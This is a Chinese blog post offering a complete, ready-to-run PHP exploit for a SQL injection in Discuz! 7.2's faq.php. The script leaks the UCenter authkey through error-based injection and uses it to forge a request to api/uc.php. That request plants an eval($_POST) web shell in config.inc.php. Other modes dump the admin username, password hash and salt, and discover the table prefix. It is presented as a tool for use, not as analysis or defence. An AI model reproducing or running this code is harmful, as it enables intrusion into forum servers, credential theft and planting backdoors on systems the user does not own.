Discuz! 7.2 SQL注入exp

已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。

参数：
1.可直接getshell
2.爆管理账号密码
3.爆表前缀
如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。

下载地址：DZ7.2
附代码：

<?php

 

/**

 * @author: xiaoma

 * @blog  : www.i0day.com

 * @date  : 2014.7.2 23:1

 */

 

error_reporting(0);

set_time_limit(3000);

$host=$argv[1];

$path=$argv[2];

$js=$argv[3];

$timestamp = time()+10*3600;

$table="cdb_";//表名

 

if ($argc < 2) {

    print_r('

  ********************************************************

  *  Discuz faq.php SQL Injection Exp                    *

  *  ---------By：Www.i0day.com-----------               *

  *     Usage: php '.$argv[0].' url 1                    *

  *  -------------------------------------               *

  *  js选项: 1.GetShell 2.取密码 3.查表前缀              *

  *                                                      *

  *   php '.$argv[0].' Www.i0day.com / 1                    *

  *   php '.$argv[0].' Www.i0day.com /dz72/ 1               *

  *                                                      *

  *                                                      *

  ********************************************************

     ');

     exit;

}

if($js==1){

    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";

    $resp = sendpack($host,$path,$sql);

 

    if(strpos($resp,"::")==-1){

        echo '表前缀可能不是默认cdb_ 请先查看表前缀！';

    }else{

    preg_match("/::(.*)::/",$resp,$matches);

    $lenght=intval($matches[1]);

    if($lenght){

        if($lenght<=124){

            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

            $resp = sendpack($host,$path,$sql);

            if(strpos($resp,"1\^")!=-1){

                preg_match("/1\^(.*)\'/U",$resp,$key1);

            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

            $resp = sendpack($host,$path,$sql);

            preg_match("/1\^(.*)\'/U",$resp,$key2);

            $key=$key1[1].$key2[1];

            $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));

            $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>

</root>';

            $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">bbs.49you.com</item>

</root>';

            $html1 = send($cmd1);

            $res1=substr($html1,-1);

            $html2 = send($cmd2);

            $res2=substr($html1,-1);

            if($res1=='1'&&$res2=='1'){

            echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';

            }

            }else{

                echo '获取失败';

            }

        }

    }

   }       

 

}elseif($js==2){

    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";

    $resp = sendpack($host,$path,$sql);

    if(strpos($resp,"\^\^\^")!=-1){

        preg_match("/\^\^\^(.*)\^/U",$resp,$password);

        echo '密码：'.$password[1];

        }else{

            echo '表前缀可能不是默认cdb_ 请先查看表前缀！';

        }

}elseif($js==3){

    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";

    $resp = sendpack($host,$path,$sql);

    if(strpos($resp,"1\^")!=-1){

        preg_match("/1\^(.*)\^/U",$resp,$t);

 

        if(strpos($t[1],"cdb_")!=-1){

            echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";

        }else{

            echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';

        }

    }else{

        echo "查看表前缀失败,Sorry";

    }

}else{

    echo "未选择脚本功能";

}

 

function sendpack($host,$path,$sql,$js){

       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";

        $data.="Host:".$host."\r\n";

        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";

        $data.="Connection: close\r\n\r\n";

        //$data.=$html."\r\n";

        $ock=fsockopen($host,80);

 

        if(!$ock){

        echo "No response from ".$host;

        die();

 

        }

        fwrite($ock,$data);

 

        $resp = '';

 

        while (!feof($ock)) {

 

                $resp.=fread($ock, 1024);

                }

 

        return $resp;

 

}

function send($cmd){

    global $host,$code,$path;

    $message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: ".$host."\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: ".$host."\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $message .= $cmd;

 

    //var_dump($message);

    $fp = fsockopen($host, 80);

    fputs($fp, $message);

 

    $resp = '';

 

    while ($fp && !feof($fp))

        $resp .= fread($fp, 1024);

 

    return $resp;

}

 

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

 

    $key = md5($key ? $key : UC_KEY);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

 

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

 

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

 

    $result = '';

    $box = range(0, 255);

 

    $rndkey = array();

    for($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

 

    for($j = $i = 0; $i < 256; $i++) {

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

 

    for($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

 

    if($operation == 'DECODE') {

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

            return substr($result, 26);

        } else {

                return '';

            }

    } else {

        return $keyc.str_replace('=', '', base64_encode($result));

    }

 

}

function hex2str($hex){

    $str = '';

    $arr = str_split($hex, 2);

    foreach($arr as $bit){

        $str .= chr(hexdec($bit));

    }

    return $str;

    }

?>

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